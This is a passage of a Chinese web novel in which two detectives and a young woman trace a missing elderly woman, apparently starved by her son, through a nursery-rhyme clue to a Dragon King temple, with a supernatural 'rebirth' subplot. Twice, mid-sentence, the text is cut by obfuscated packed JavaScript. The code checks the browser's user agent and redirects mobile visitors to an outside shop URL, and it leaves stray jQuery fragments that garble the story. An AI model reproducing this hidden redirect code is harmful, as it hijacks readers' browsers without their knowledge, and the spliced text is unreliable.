“十四岁了,师傅。”林雅菲伸手轻轻抚摸着怀里温顺的棉花糖。 “嚯,那可真是只老猫了。”保安惊讶道,“这相当于人类七十多岁了,我都得喊它一声长辈呢!” 秋樰生说:“是啊,陪我妹妹从小一起长大的,所以一发现丢了赶紧火急火燎地赶回来找!” 保安说:“唉,这么大年纪了,你们下次别带出来了,容易出事。” 秋樰生说:“我们也没想到,一开始它钻在车底盘下面跟出来的,我们也是到半路上才发现。” 保安欲言又止,最后还是道:“都说这猫吧,是最灵性的动物,能知道生死。要是哪天它觉得自个儿就要走了,为了不让主人伤心,会想尽办法逃出去,找个地方安安静静走的。你们回去带它去医院好好看看,没什么事最好,花点钱,心里也放心点不是?” “谢谢您,师傅。”秋樰生赶紧应和着,送走了保安师傅,回来看到林雅菲还站在原地一动不动,像是在发呆。 “怎么了?” 林雅菲猛然回过神来:“嗯?” 秋樰生说:“你发什么呆啊?” “我?”林雅菲愣了一下,似乎不明白他在说什么。 秋樰生的手机响了一下,他低头看了一眼,对林雅菲说:“走,秦于理搞定了。” 两人一猫重新绕回到楼前,秦于理已经重新穿上外套,双手插兜,靠着车门站着了。 秋樰生说:“发现了什么,现在能说了吗?” 秦于理说:“你开车,路上说。” 秋樰生问:“去哪儿?” 秦于理说:“先走着。” 秋樰生只好钻进驾驶座,秦于理和林雅菲也分别坐到了自己的固定位置上。 车子很快开出了那个冷冷清清黑漆漆的小区,行驶到了大马路上。有了明亮的路灯和来往车辆行人,周围的温度都似乎高了一些。 秦于理终于打破了沉默说:“跟我想的一样,屠阿姨家里除了卧室基本很整洁,卧室里很多东西都打翻了,我在她卧室床的四个角落发现了束缚带,她的卧室门外还挂着一条带锁头的铁链,她家的冰箱是空的,里面什么都没有了。” 秋樰生下意识地踩了一脚刹车,车子在十字路口猛然停了下来,后面的车子差点追尾,司机骂骂咧咧地打转向灯,绕开了他们。 秋樰生把刚刚要给保安那根烟叼到了嘴里,没有点燃,只是这么叼着。 林雅菲问:“秦姐,你们到底在说什么,我怎么听不太懂啊,你是不是想说,秦阿姨因为病情发作,所以被他儿子关在了卧室里?” “屠菊英老人确实是被她儿子关在了卧室里没错,但未必是因为病情。”秦于理说,“隔壁邻居阿姨说她闹得很凶,不是从楼上破口大骂,就是从高处往下丢粪便,但从你的描述推测,至少在一个月前,屠菊英除了记忆不好,精力差以外,病情并没有那么严重。阿尔茨海默症的发病过程通常都需要三年及以上,不排除有个别特殊原因,病程进展特别快的,但是绝做不到一个月前还在和你正常聊天,接着就完全丧失理智的情况。” 林雅菲隐隐感到了什么,人都不由得颤抖起来。她紧紧抱着棉花糖,老猫伸出舌头轻轻舔舐着女孩冰凉的手指。 “秦姐,那屠阿姨她是?” “我也只是猜测,得等找到殡葬店老板说的老家看了才能最后确定。”秦于理说,“我怀疑,屠阿姨虽然有病,却还没到失去理智的地步,她是被自己儿子关起来了,她儿子可能想饿死她,所以才收走了她的通讯工具,逼得她不得不做出有辱斯文的过激举动,引邻居上门帮忙。” “为什么?”林雅菲激动地问,“那是他亲妈,他为什么要那么做?” 秋樰生说:“我刚刚在店里听到他说,他要给他儿子买栋学区房,手头紧张。” 林雅菲沉默了,过了好一会儿才轻声问:“他是想拿到屠阿姨的房子吗?” 秦于理说:“还有,他应该也不想照料未来真的会失去理智的母亲,虽然现在还没有,但迟早,屠阿姨是会走到那一步的。” 白猫棉花糖突然从林雅菲怀里挣扎出来,独自趴到后座一角,和林雅菲,也和秋樰生、秦于理隔开了一段不远不近的距离,静静的,一声不吭。 39.第39章 婚姻是什么 秦于理边擦头发边从盥洗室走出来,桌上放了罐快乐水,她伸手便拉开拉环,坐到沙发上。 “浴室我用好了,你可以用了。” 坐在床边发呆的林雅菲回过神来,轻轻“哦”了一声,从刚刚超市里采购的袋子里拿出一次性内衣裤和T恤。 此时夜色已深,秋樰生、秦于理和林雅菲三人没有回霞鹜村,临时在城里找了间旅馆住。正是国庆假期,全国各地人民都很热衷于从自己呆腻了的地方去别人呆腻了的地方玩,因此家家旅馆爆满,三人找了好一阵才找到一间还有空房的家庭宾馆。秦于理和林雅菲可以同住,秋樰生一个大老爷们当然不方便混进来,好在现在夜生活发达,秋队说他随便找个网吧之类的地方苟一晚就行,因此在带着俩姑娘去超市买完日用品后,便离开了。 棉花糖躺在旁边的单人椅子上,把自己蜷成了一个球。一般宾馆都不允许带宠物入住,棉花糖这次能进来也是托了这家家庭旅馆不高级、管得松的福。 见林雅菲拿着衣服再一次走神,秦于理将快乐水放到桌面上,滑着手机,似是很随意地问:“有心事?” 林雅菲犹豫了一会儿,最后还是把衣服放下,坐到秦于理对面的单人床边。 “秦姐……” “怎么了?” “你刚刚车里说的,是真的吗?”林雅菲显然还在回想秦于理刚刚提出的惊世骇俗的饿母论,那个推断十分残酷,但正因为太过残酷,反而让女孩子没有真实感。 “不知道,我只是根据现场情况做出推断,是不是真的当然是依据事实而定,不然我们为什么好好的假期不享受,要带着你一起奔波在路上?” 林雅菲嘴唇张了又闭,最后艰难地小声问:“那屠阿姨她现在还活着吗?” 秦于理看了她一眼:“没找到人前不能断论。”秦于理没有一句话咬死,虽然目前屠菊英活不见人,死不见尸,但林雅菲身上有重生污染,她还在自己不知道的情况下唱了屠菊英才会的童谣,这都说明屠菊英或许只差一点就要重生到林雅菲身上,至于现在这种微妙的状况到底是重生不完全,还是重生引起的间接污染,还有待考证。 林雅菲胸口不断起伏,像是呼吸困难,她站起身,几步走到窗边,一把拉开了宾馆的窗户。冷风伴随着大街上的喧嚣一同传入室内,林雅菲迎着夜风,连吸了好几口气才终于平复下来,重新关掉窗,走回秦于理跟前。她问:“秦姐,你们能把老板抓起来吗,我想看到他被枪毙!” 原本静静闭着眼似睡非睡的棉花糖似乎被林雅菲此时身上透出的寒意所惊醒,不知所措地抬起头,竖起了耳朵。 秦于理说:“枪不枪毙,坐不坐牢,我说了不算。” 林雅菲愤怒地捏紧拳头:“可他明明罪大恶极!我实在想不明白,那可是他自己的亲生母亲,他怎么能这么狠心,活生生把人饿死?我到现在还记得屠阿姨跟我说起她儿子时的样子,说他小时候怎么体弱多病,又经常闯祸,为了把他带大,屠阿姨不知道付出了多少心血。再怎么样,一个人总该有点道德吧,哪怕没道德,也总该知道杀人要偿命吧,他杀的可是他自己的妈妈啊!” 秦于理说:“你不用试图理解嫌犯的思路,你们不是一路人。” “可是……”林雅菲慢慢地又坐回到床边,显得很失落,她用力抹了把脸说:“可是秦姐,我现在觉得屠阿姨的事情是我的错。我明明认识她那么久,跟她聊天的时候也察觉到了她身体的问题,可我为什么没能及时做些什么呢?如果我之前能多关心她一点,不要只是为了自己的婚事纠结,发现情况不对劲的时候,上门去看一眼,也许她就不会遇到那么可怕的事了!” 林雅菲说着说着便哽咽了,棉花糖跳下地,灵巧地爬到女孩膝盖上躺下,像是在安慰她。 “你真的上门去探望的话,她也不一定会应你。” 林雅菲诧异地抬起头:“为什么?” 秦于理说:“因为屠阿姨不想看到自己的儿子犯法被抓,不然被困在家里的时候,她只要大声呼救就好了,何必专做那些失智老人会做出来的事。她那么做本来就不是想要别人把她救出来,送她儿子进监狱,而是想要让邻居们不堪其扰,把她儿子找过来,这样她才有机会再次跟她儿子对话,可惜殡葬店老板很沉得住气,一直到半个月后才重新登门。那时候屠阿姨可能还活着,但已经十分虚弱,所以在老板带她走的一路上都没能闹出多余的动静。” 林雅菲说:“她明明知道自己儿子做了什么,为什么还是……”林雅菲讷讷道,“结婚生孩子到底给女人带来了什么?” 秦于理说:“千人千面,每个人都有自己的路,你只能问你选择的婚姻能给你自己带来什么,至于别人的选择,别人的答案,是他们自己去书写的,不能作为你的参考。” 门口传来敲门声,秦于理跳起身,走到猫眼前看了一下,随后打开门,门外站着的正是拎着几个饭盒的秋樰生。 “你怎么来了?”秦于理接过塑料袋,看到里面装着炒面烧烤,显然十分愉悦。 秋樰生站在门口说:“看到附近有个烧烤摊,排队的人多,反正没事做,给你们送点儿宵夜。” 秦于理说:“进来一起吃啊。” 秋樰生却说:“不了,两个女孩子,我进屋不大方便。” 秦于理用大拇指比了一下秋樰生说:“看,这家伙虽然脾气臭点儿,好歹也算个好人。”她说着,一把把秋樰生拉进来说:“叫你进就进,别矫情。” 秋樰生一个趔趄,好容易稳住,说:“秦于理,你怎么力气这么大!不对,你们刚刚编排我什么呢,什么好人坏人的?” “没什么,我们讨论明天去老板家老宅的事呢!”秦于理把食物放到桌上,一样样打开,然后招呼林雅菲一起过来吃。 林雅菲笑得勉强:“我不饿,秦姐,你们吃吧,我进去洗澡。”说完,拿着换洗衣物心事重重地进了浴室。 秦于理伸头喊:“厕所门锁不太好,不过你放心,外面有我呢!” 秋樰生两个眼睛里淬着寒光:“吃你的烧烤!”塞了一串新疆大羊肉串进秦于理嘴里。 秦于理嚼着鲜香的羊肉说:“现在可以说了吧,发现什么了,这个时候找上门来。” 秋樰生也伸头看了眼浴室的方向,听到里面传来搬凳子顶门的声音,然后又传来哗哗的水声,才放心开口道:“我刚刚……算了,你先告诉我,雅菲怎么了?” 秦于理说:“没大事,一开始是恐婚,现在又知道了屠菊英可能的遭遇,不仅恐婚,还觉得对不起屠阿姨,开始怀疑人生了。” 秋樰生说:“怎么小小年纪也染上恐婚恐育的毛病。”他伸手去拿筷子,被秦于理打了一把。 “哎,你打我干吗,很疼的!”秋樰生说。 “这不叫毛病,这是合理的情绪反应。一个景点经常传出游客被抢的案件,是个人都会警惕,尽量不去那里旅游吧?” “那也得看犯罪比率,不能因噎废食啊。”秋樰生掰开筷子,找到烤茄子吃了起来,“好的婚姻又不是没有。” “那你怎么不结婚?” “怎么又跟我有关系了?”秋樰生说,“婚姻不适合我,暂时不考虑。” “自己都不考虑的事,就别看人挑担不吃力了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568019|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”秦于理说,“你到底发现什么了?” “喏,我让以前手下查了殡葬店老板的信息,他籍贯在洛城,本地人,但现在登记的住址在城内某个小区,并不是什么乡下。”秋樰生把一张刚打印出来的纸掏出来,推到秦于理跟前。秦于理正要拿,秋樰生又把纸挪开了。 秦于理:“?” 秋樰生:“你手油,别给我弄脏了。” 秦于理耸了一下肩,不让她拿她就不拿,直接伸头去看,第一眼就看到老板的名字:“李学思,姓李?” “嗯。”秋樰生说,“想到李云升了是吧,我也想过,但殡葬店铺子里挂着的那张照片就是老板的亲爹,实在看起来不像是饱读诗书,君子端方的样子。” 秦于理回忆了一下那个一脸阴鸷,脾气看起来不太好的老头的脸,点点头:“确实不太像,但是,殡葬店老板的确拿走了屠阿姨的手机,也接过赵萌萌那个电话。” 赵萌萌先前冒充屠菊英和李云升各自给查询到的屠、李们发过消息,只有殡葬店老板回拨了电话,破口大骂,让赵萌萌不要恶作剧。为了证实这一点,在找到学思殡葬店的时候,秦于理特地通知了赵萌萌再拨一个电话,这才有了殡葬店老板着急忙慌冲到后面关手机的事,那种失态完全不是一个人被陌生人无意打扰到的样子,更像是一种应激反应。 “屠菊英已经不在了,她的手机在她儿子手里,如果真的有个多年未见的李云升来约她相见,殡葬店老板可以无视,也可以回复没空,还可以说找错人了,就是不可能特意骂人说是恶作剧,除非他知道,不仅屠菊英已经不在了,李云升也早已不在了,只有这样,他才会看到那么一条普普通通的信息就火冒三丈,回拨骂人,也才会在我们面前听到铃声,激动得跳起来,因为这对他来说相当于一个已故之人联系另一个被害之人的鬼消息。” 秋樰生沉默了,棉花糖开始舔爪子洗脸,两个人一起看了老猫一会儿。 秋樰生感慨:“那个阴森森的老头还真是雅菲嘴里说的那个温润如玉的少年啊,这也差太多了吧。” 秦于理问:“你发现的就这些?” “当然不是。”秋樰生说,“虽然李学思现在户口本上的地址已经换成了城里,但也不是完全找不到他以前的足迹。我查了他的社保交金记录和学历信息,他念书念到了大专,小学就读的是洛城下辖的江下县第一小学,你也知道,幼儿园小学都是看户籍划学区,那所学校本来在今天的新河区碑店街道,不过因为城市更新,那一带的建筑包括民居和学校在十多年前就已经被拆除改建成别的东西了。” 秦于理说:“也就是说,屠菊英已经没有老家可言。” “是的。”秋樰生说,“不过还有一种可能,你记得雅菲说屠阿姨说她老家是栋民国时期的建筑,有个大院子吧,如果那栋建筑具有历史保留价值,说不定现在还留着。” “如果房子是因为历史价值留下的,现在肯定已经是个保护景点了,屠菊英也不可能被送到那里头去住。”秦于理很快领会了秋樰生的意思。 秋樰生点头:“没错,所以我们要做好思想准备,就算真的找到了童谣里说的地方,恐怕也找不到屠菊英老人……”秋樰生顿了顿,压低声音,“的尸首。”这才是秋樰生不愿意当着林雅菲面说的原因,日夜奔忙,如果最后还是落得一个无法底定的结局,林雅菲的心里或许会更不好受。 “杀人容易抛尸难,我不信李学思有这么大本事把尸体藏得无人知晓。”秦于理说,“还有两天,不,一天半,剩半天回霞鹜村,这个案件撞到我们手里,肯定是有因果线牵扯的,我们一定能找到她!” 40.第40章 龙王庙 第二天上午九点多的时候,秋樰生的车已经驶近了洛城新河区。 秦于理从副驾望出去,就看到一条澄澈明亮的大河出现在不远处,斜拉索大桥贯通两岸,串联起新河区及南河区两个区域,后者还属于市区的边际区,前者已经完全属于郊区。十一假期向来天气不错,秋高气爽,凉风徐徐。虽然这次出行是为了一起让人心里不痛快的弑母案,但看着外面的国泰民安和壮阔河山,人的心情也不由得跟着明亮一些。 秦于理打开车窗,任带着水汽的凉风进入车内,不觉有种直抒胸臆的畅快,忍不住探了点头出去看。秋樰生斜眼看她,秦于理何等敏锐,问:“看什么?” 秋樰生说:“看你的脑袋什么时候被超车的其他车子削掉。” 秦于理还没来得及说什么,坐在后座的林雅菲已经忍不住开口:“秋队,你这样真的找不到女朋友的!” 秋樰生:“?” 秦于理竖起大拇指,伸过头顶,干脆地给了林雅菲一个大大的赞。 林雅菲看到,忍不住笑出声来,这还是秋樰生和秦于理两人这趟见到她以来第一次看到这女孩子露出笑容。 秋樰生佯怒道:“你们俩什么时候感情这么好了,竟然一起埋汰我。” 秦于理说:“这和感情好不好没关系,只能说群众的眼睛是雪亮的。”她说,“雅菲,跟秋队比,你看王广顺是不是也显得顺眼点了?” 林雅菲愣了一下,随后果断点了一下头:“嗯,至少广顺不会说这种阴阳怪气的话嘲讽女孩子。” 秋樰生:“我哪里阴阳怪气了?” 秦于理:“你连自己阴阳怪气了都感觉不到的话,那就真的没救了。” 秋樰生无语,说:“行行行,你俩爱怎么说我就怎么说我吧,反正我本来也没打算结婚。” 林雅菲长长叹了口气说:“当男人真好啊。” 秋樰生:“啊?” 林雅菲说:“社会上不都这么讲吗,男人四十一枝花,女人四十豆腐渣,男人想不结婚就能不结婚,女人呢,稍微晚一点结婚都要承受很多的非议,哪怕是在大城市里,超过27岁进入婚恋市场就会被贴上打折品的标签,还要过大龄生子这一关,所以我真的很羡慕男人!” 秋樰生啧了一声:“你那是没看到找不到老婆的男人被骂老光棍的时候有多惨,跟社会主流不同的人不管男女都会遭到压力,不过是表现形式不同罢了。” 林雅菲说:“我不这么觉得,至少你想不结婚就能不结婚,而我呢,还不是被逼着要出嫁?” “那你不嫁不就行了?”秋樰生说,“我记得我跟你说过一次了,真的不想嫁给广顺的话,那就把话说清楚,把彩礼退了,婚事回了,各回各家,各找各妈。” 林雅菲恼怒:“你说得简单,我要真这么做,广顺伤心怎么办,我爸妈在村子里还要不要面子了?大家都是抬头不见低头见的老邻居了,这么撕破脸,不就等于绝交吗?” “那你就嫁啊。” “可我心里始终觉得别扭……” 秋樰生说:“妹妹,你别怪我说话难听,你总不能既要又要吧,选哪条路都有利弊,要付出代价,承受结果,结婚是你自己的事,你不把自己的心情想法放首位,那不叫你被逼,那叫推卸责任。” 林雅菲怔了一下,随后胸膛迅速起伏:“我怎么就推卸责任了,我难道不是从大局出发考虑吗?” “大局看不见也摸不着,更没开口要求你牺牲自我去考虑它。想做一件事,那就排除千难万险去做,不想做一件事,那被万夫所指也别去做,我们每个人都应该对自己的人生负责。” 林雅菲说:“我如果不想对自己、对爸妈、对广顺负责,又怎么会那么苦恼?你怎么不怪王广顺,他来提亲前根本就没和我沟通过,他才是不负责,如果不是他擅自上门,我现在也用不着这么纠结这么烦!” 秋樰生说:“哦,你说得也有道理。你也知道他从小就喜欢你,又是个榆木脑袋,如果……” 秦于理说:“等等!” 秋樰生赶紧放慢车速:“怎么,发现什么了?” 秦于理说:“榆木脑袋……” 这下秋樰生和林雅菲都困惑了。 “榆木脑袋,就是形容一个人的头脑……” 秦于理冷冷瞥了秋樰生一眼,她有几天没这么看秋樰生了,秋樰生被她剜了一眼,居然有种莫名的放松感。秋樰生想到这里心里“咯噔”一声,怀疑自己是不是被重生污染影响,脑子变得奇奇怪怪了。 秦于理说:“别走神,我在想那首童谣。” “童谣?”秋樰生都把那首童谣背熟了,此时自然而然地开口,“余娇娘,三丈三,金银元宝……”秋樰生声音一顿,他脑子也转得很快:“你是说,这句话说得是一棵大榆树?” 一丈等于3.33米,三丈三就是11米,这个世界上显然没有哪个女人能长到这个高度,但如果是一棵树的话,这个高度就很正常了,榆树的果子又叫榆钱,扁圆形,老了以后呈黄白色,一簇簇长在枝头,远远看过去的确与金银元宝有几分相像。 “所以,屠阿姨家附近应该有一棵十多米高的榆树,这样会好找很多!”林雅菲也意识到了这个突破的重要性。 “这才第一句话,后面还有一长串呢。”秋樰生说,“石老头,八对八,虾兵蟹将不过江又是什么?” 秦于理说:“哪儿有石头人雕像,至少得有八对,也就是十六个。” “银行门口有石狮子,那个算吗?”林雅菲举手。 “石狮子是石狮子,不会用老头来形容。而且银行门口的狮子只有两只,通常是一公一母,也不符合石老头的描述。”秋樰生说,“如果非要说哪里有石头人的话,我能想到的只有石像生。” “石像生?”林雅菲问,“那是什么?” “古代通往陵墓的神道两边的石人像,代表了皇权仪卫。秦于理说,“一棵榆树,一条神道,那应该是处古墓的象征,八对石像生,用于皇陵是少了点,可能是什么一二品大官的。”她已经拿出手机开始查找,洛城古墓众多,如果再缩小到新河区,定位标志应该会清晰很多。 然而,秦于理查了半天,始终没有搜索到匹配的记录。 “奇怪,新河区的旅游景点中只有一个碑林展览馆,并没有大陵墓,搜索引擎说这里叫碑店街道就是这么来的。” 秋樰生说:“结合后面几句看呢,虾兵蟹将不过江又是什么意思,根据我浅薄的知识储备,石像生里面应该没有虾兵蟹将吧,又不是葬龙王!” 秦于理却忽然顿了一下:“你刚刚说什么?” 秋樰生:“石像生里没有……” “你说又不是葬龙王,如果童谣里描述的并不是皇陵,而是龙王庙呢?有了!”秦于理很快找到了地方,“新河区确实有一座龙王庙,离我们只有不到十公里。” 很快,秋樰生便载着两人一猫抵达了龙王庙所在。 刚下车,几人便看到了熙熙攘攘的游客,林雅菲今天出发前买了个猫包,将棉花糖装在了里面,此时老猫闭着眼睛似在睡觉,倒是乖巧得很。 秋樰生帮林雅菲把猫包背在身上,到处张望:“有了,老榆树!” 果然,朝着龙王庙的方向看过去,黄色的围墙里头伫立着一棵十多米高的榆树,虽然是秋天,但或许是经过了养护打理,此时那株榆树上的叶子青葱鲜嫩,看起来倒像是春天里的新叶。 “我去买票,你们在这等我。”秋樰生说。 秦于理说:“不用,我刚查过了,医护人员凭电子工作证可以免费进入,我们也享受这个福利。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574136|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋樰生一脸懵:“我怎么不记得刑警有这个待遇?” 秦于理说:“是我们组的福利。不是跟你说过,重案组最早可以追溯到贞观年间,那时候我们和宫观庙宇是一个体系,所以一直保留了这层交情,进这类旅游景点,我们都可以免票。” 秋樰生:“……” 秦于理说:“怎么?” 秋樰生说:“我发觉你们……”他及时改口,“我发现我们组福利还挺好的,虽然好得有点冷门。” 反正三个人都不用票,就在门口直接刷工作证进去,结果秋樰生在门口被拦住了。工作人员说:“不好意思,宠物不能进入哦。” 秋樰生还在想办法,林雅菲已经伸手接过猫包说:“要不我陪棉花糖在外面等着,你和秦姐进去吧。” 秋樰生问:“你不进去了?” 林雅菲说:“我,我不知道为什么,有点心慌。可能是昨晚没睡好吧。” 秦于理看到一旁有露天饮料店,指了指那里说:“你去那里坐会儿,我们一会儿回来找你。” “好。”林雅菲接过棉花糖,和秋、秦两人分开。 “她是不是哪里又有点奇怪?”秋樰生问。 秦于理抬腕给秋樰生看手上的表,不知什么时候,罗盘旋转得比前天林雅菲刚被捞起来时快多了,幅度也更大。 “你要习惯使用设备,这两天污染指数一直在增长。”秦于理说。 “这代表什么?”秋樰生说,“屠菊英不是没能重生在雅菲身上吗?” 秦于理看着已经钻入人群的林雅菲和棉花糖说:“如果不是林雅菲本人,那就一定是和她接触很多的存在,所以污染指数才会不断攀升。” 秋樰生说:“总不见得是我们俩吧,这两天就我们和她在一起。”他说到这里突然顿了一下,眼神透着震惊,“猫,也能承载重生人的灵魂?” 秦于理说:“我不记得了,但重生都有了,一切皆有可能吧。”她说着,快步穿过了闸机,“先把屠菊英老人找出来再说。” 两人一前一后进入龙王庙里。 正像秋樰生之前猜测的那样,虽然不是石像生,但在通往龙王庙主殿的道路两旁的确伫立着八对身着官兵将领服装,手拿武器的石人像,和一般的石像生不同的是,这些石人只有人的形体,脑袋却是虾蟹鳖鱼等等,很显然代表着龙宫里的虾兵蟹将。 秋樰生说:“怪不得说虾兵蟹将不过江呢,他们都在陆上守着龙王庙,哪来的江可过。” 两人也看到了那株老榆树,此时大树下头还摆着两张石凳,有游客正坐在椅子上休息。 “可是,屠菊英的家怎么会在龙王庙里,雅菲不是说,那是栋民国时期的建筑吗,这龙王庙就算是民国时期盖的,应该也不能住人吧。” 秦于理说:“后面还有四句,门前有花马,屋后放白羊,梁上坐着个小娃娃,咯咯笑来叫妈妈,你不觉得很奇怪吗,谁会把自己的孩子放到梁上?” 解谜推演到这里,的确出现了问题。一是龙王庙和民国建筑不可调和,二是他们两人已经走到主殿了,也没看到花马,后殿看起来也不像是有白羊的样子,三是小娃娃坐在梁上这事着实不合常理。 秋樰生说:“难道我们一开始就猜错了方向?” “不对。”秦于理说,“林雅菲前天晚上做梦惊醒以后吵着要回家,你当时问她家在哪里,她说家在,然后就断了,跟着念了这首童谣,后来你问她,童谣里唱的是不是她家的地址,她并没有认同,而是说累了想睡了。” “所以童谣里描述的其实不是她家的住址?” “不是住址,但是个对她十分重要的地方,重要到她会专门编一首网上搜索不到的童谣来记录和怀念这里。”秦于理也疑惑,“这里对屠菊英到底有什么意义呢?” 41.第41章 造像 线索到这里暂时断了,秦于理也不气馁,转而认真打量起龙王庙的大殿来。 大殿正中央供奉的自然是庙主龙王,洛城之所以得名洛城,正是因为洛河自城内穿行而过,千百年来既是惠及两岸人民的丰水,闹起水灾来,又是夺命的妖龙。这座龙王庙供奉的正是洛河龙王。 和一般龙王庙里比较严肃甚至略有凶狠的龙头人身像不同,这座龙王庙里的龙王却塑造成了青年人神的样子,祂丰神俊朗,英姿飒爽,双手挥洒敕令,大开大合,仿佛在指点江山。神像身周水流环绕,脚下波涛中隐约可见群龙露首,一派蓬勃向上的动态生机。前来参观的年轻女游客纷纷驻足赞叹“好帅啊”“有点像丙丙的Daddy”之类,秦于理和秋樰生都没听懂这黑话,不过大概能猜测出意思,大家应该是都没想到传统龙王庙里会有如此符合现代人审美尤其是女性审美的龙王像。 秦于理再看龙王左右两侧,还有两尊神像,分别是持钢叉的巡海夜叉,以及一手拿生死簿,一手持勾魂笔的判官,传说中他俩是龙王爷的左膀右臂,侍奉龙王司掌水域,统领天下水族。和龙王像的英俊秀美不同,这两尊像的造像风格就很传统了,夜叉红发青面,判官虬髯阔面,和现代审美不沾边,这仨放在一起,对比效果更显得突出,以至于当中的龙王显得格外俊逸出尘。 秋樰生说:“这龙王像怎么造得跟偶像一样。” 秦于理说:“在庙主的家里评价别人的相貌,你也不怕惹怒神明。” 秋樰生说:“我是唯物主义者,信马列不信鬼神,再说,我是在夸这龙王长得好,又不是在说坏话。” “两位是第一次来这龙王庙吧?” 秦于理扭头,看到一旁站着个面容和善的老爷子,穿着一身石青色布衣布裤,手里端着些新鲜的糕点水果,像是这座庙里的工作人员。他说:“感觉怎么样,这座庙虽然不大,但十分灵验,你们要是有想要求的例如姻缘、前程之类,请三支香叩拜祝祷,说不定能实现呢。” 秋樰生诧异:“龙王爷还管姻缘?” 老爷子说:“龙王爷是正神,执掌四海,神通广大,管一下凡人的姻缘也不算什么。” 秋樰生的反骨又冒出来了,追问:“龙王管了姻缘,那月老怎么办,再就业吗?” 老爷子不以为忤,反而笑了起来,他说:“都说现在的年轻人在上班和上进之间选择了上香,没想到也有你们这样的。” 秦于理说:“这么说,您其实也不信?” 老爷子说:“我也不是不信,只不过这座庙和这尊像当年都是我手里翻修的,虽然我退休来这里做义工以后也听了不少龙王显灵的故事,但感觉和一般信众多少还是有些不同。” 秦于理和秋樰生听了都是一愣,秋樰生说:“所以您是这尊龙王像的创造者?” 秦于理则说:“您自个儿修建的神像,显了您自己都没想到的灵?” 老爷子呵呵笑道:“是啊,刚开始感受很奇妙,时间长了也就习惯了。我也不敢自居创造者,不是有种说法么,文章本天成,妙手偶得之,或许龙王爷本来就有灵,只是借着我的手塑了形罢了。” 秋樰生说:“那您是怎么想到把龙王爷塑成这个样子的?” 老爷子说:“是不是和传统想象中的龙王爷外形不符?这座龙王庙本是宋代的一座古庙,后来在那场人尽皆知的风波中被毁坏了,拨乱反正后,国家组织对全国文物古迹进行普查修缮,我就和一些同事一起被派到这里重修龙王庙。刚来的时候,这里除了榆树和老房子,几乎什么都没了,我们完全是从零开始搜集资料,修缮建筑。建筑修缮完后,围绕着怎么塑像,我就犯了愁,一开始我当然是按照传统习俗来造像,可是每次设计完都觉得缺了点什么,迟迟无法完成……” “后来呢,您看到了什么才改了主意?”秦于理问。 老爷子似乎是陷入了回忆,过了一会儿,他才回过神来,说:“嗯,小姑娘,你说什么?” 秦于理说:“我刚刚问您是看到了什么才改变了造像风格,是有人给您提了什么建议吗?” 老爷子说:“唔,这附近本来有条老街,住着不少本地的街坊,我们在修庙的时候,他们不时会来串门,问我们些首都的事,然后七嘴八舌地给我们提些建议,毕竟当地居民才知道老龙王庙是什么样子的嘛,那时候施工也不像现在那么讲究,要拉围挡封闭工地,避免外人进入,热闹得很。” 秦于理试探着问:“老爷子,您听过这首童谣吗?”她把从屠菊英那儿学来的童谣重新念了一遍,“余娇娘,三丈三,金银元宝装满筐;石老头,八对八,虾兵蟹将不过江;门前有花马,屋后放白羊,梁上坐着个小娃娃,咯咯笑来叫妈妈。” 本来以为老爷子应该知道这首童谣,没想到他却摇了摇头:“没听过,不过,我怎么听着,这首童谣像是在描述这座龙王庙啊?” 秦于理和秋樰生对视一眼,果然,只要是见过这座龙王庙的人都会一下子从童谣里辨别出其中鲜明的特征描述,但是…… 秦于理说:“我们也这么觉得。这是一位长辈留下来的,我们顺着前面两句找到了这里,但后面那四句始终找不到解答。” 老爷子说:“你们有空吗,要不要来我屋里坐坐?” 见两人点头答应,老爷子让两人稍等片刻,他去供桌上取了之前的贡品,分发给了叩拜的信众,又摆好新的贡品,清理了香灰,续了清香,然后才对秦于理两人招招手,示意他们跟着来。 龙王庙没有后门,从主殿正门再出去后绕到一侧可以看到一道门,外面插着“办公地点,游客免进”的牌子,老爷子打开门,领着秦于理和秋樰生进去。 后面是个小院子,有一栋独立的小屋,种了些瓜果蔬菜,晾着几件衣服,院子角落里则堆着些被替换下来的木料门窗。 一个同样年纪不小的大爷拎着一个水桶正往外走,看到老爷子,跟他打招呼:“石勤,你家里人来看你了?” 老爷子“嘿嘿”一笑,也不解释,把秦、秋两人领进屋子,里面很简单,就是一张床,一张桌子和一口柜子。 老爷子说:“你们坐,我给你们倒茶。” 秋樰生说:“不用那么麻烦……” 老爷子说:“就是粗茶,不麻烦。”说完,已经手脚利索地给两人端上来两杯茶水。 秦于理喝了一口,觉得这茶挺香的。 老爷子说:“你们刚刚说的那位长辈是男的还是女的,叫什么名字,是本地人吗?” 秦于理说:“石老爷子,您心里有数了?”刚刚那老头喊他石勤,秦于理便记在了脑子里,她说,“是女的,本地人,叫作屠菊英。” 石勤蹙眉思索了一阵:“屠菊英,菊英……” 秋樰生问:“您认识她吗,她还有个儿子叫李学思,现在在城里开殡葬用品店。” 石勤最后却摇摇头:“不认识,也可能是我想不起来了吧,人上了年纪,每时每刻都在忘记事情,再过几年,怕是连自己是谁都要不记得喽。” 秦于理说:“那刚刚那四句童谣,您有什么线索吗?既然是和前两句连在一起的,肯定有什么关系吧?” 石勤一拍脑袋说:“你等等,我这儿有个东西。”他说着,走到柜子前,打开柜子,蹲下身翻了一会儿,从里头拿出一个藤编箱子,又从箱子里拿出了一本厚厚的黑皮本子,递给两人看。 